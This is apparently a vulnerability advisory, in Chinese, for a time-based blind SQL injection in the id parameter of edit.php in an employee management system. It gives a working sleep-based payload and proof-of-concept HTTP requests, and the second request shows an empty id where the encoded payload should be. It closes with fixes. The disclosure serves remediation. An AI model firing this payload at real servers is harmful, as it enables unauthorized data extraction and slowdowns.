# 漏洞总结:EMPLOYEE_MANAGEMENT_SYSTEM SQL注入漏洞 ## 漏洞概述 * **漏洞类型**:SQL注入(基于时间的盲注) * **受影响文件**:`370project/edit.php` * **漏洞原因**:用户可控的输入(`id` 参数)被直接拼接到 SQL 语句中,未进行参数化处理。 ## 影响范围 * 利用盲注技术推断或提取数据。 * 绕过预期的查询逻辑,访问未授权记录(取决于数据库权限)。 * 通过触发昂贵的耗时查询,降低服务可用性。 ## 利用代码 (Payload) ```sql (select*from(select+sleep(10)union/**/select+1)a) ``` ## 概念验证 (POC) **1. 基线请求:** ```http GET /edit.php?id=101 HTTP/1.1 Host: 370project:82 Accept: text/html Connection: close ``` **2. 时间延迟验证请求(URL编码后的Payload):** ```http GET /edit.php?id= HTTP/1.1 Host: 370project:82 Accept: text/html Connection: close ``` **预期结果**:第二个请求比基线请求慢约 10 秒,表明数据库侧执行了注入的表达式。 ## 修复方案 * **参数化查询**:使用预处理语句(Prepared Statements)或参数化查询来代替字符串拼接。 * **输入验证**:对输入参数进行严格的类型检查和过滤。 * **最小权限原则**:确保数据库账户仅拥有执行所需的最小权限。